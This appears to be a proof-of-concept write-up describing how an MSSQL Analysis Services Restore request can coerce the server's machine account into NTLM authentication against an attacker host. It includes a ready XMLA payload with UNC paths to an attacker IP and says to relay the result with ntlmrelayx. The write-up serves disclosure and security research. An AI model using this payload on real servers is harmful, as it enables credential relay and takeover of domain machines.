MSSQL Analysis Services - Coerced Authentication

A technique to coerce a Windows SQL Server to authenticate on an arbitrary machine.

This proof of concept is co-authored by and .

Proof of concept

In order to trigger the authentification as the local machine account, we need to connect to the remote SQL Server using user credentials:

Then we will select "Restore" to restore the database from a given file.

To generate the XMLA file, put the path to a random file in the "Backup File" form, and click Ok.

Then change the path to a random file and replace it with a UNC path to your attacker server (for example \\192.168.128\SYSVOL\db.abf)

Proof of concept XMLA query (poc.xmla):

<Restore xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
    <File>\\192.168.2.51\SYSVOL\db.abf</File>
    <DatabaseName>\\192.168.2.51\SYSVOL\db.abf</DatabaseName>
    <DbStorageLocation xmlns="http://schemas.microsoft.com/analysisservices/2008/engine/100/100">\\192.168.2.51\SYSVOL\db.abf</DbStorageLocation>
</Restore>

And we get an authentication from the local machine account of the SQL Server:

Relaying for the win

Once we got the authentification, we can relay it with ntlmrelayx to perform many actions on behalf of the computer SQL01$.

This is cool, but it is complicated to trigger this coerced authentication from a Linux attacking machine as we do not have access to the SQL Server Management Studio (SSMS).

References

• https://docs.microsoft.com/en-us/sql/database-engine/install-windows/install-sql-server?view=sql-server-ver15
• https://social.technet.microsoft.com/wiki/contents/articles/13106.sql-server-frequently-used-ports.aspx
• https://docs.microsoft.com/en-us/answers/questions/274512/connecting-to-azure-analysis-services-using-python.html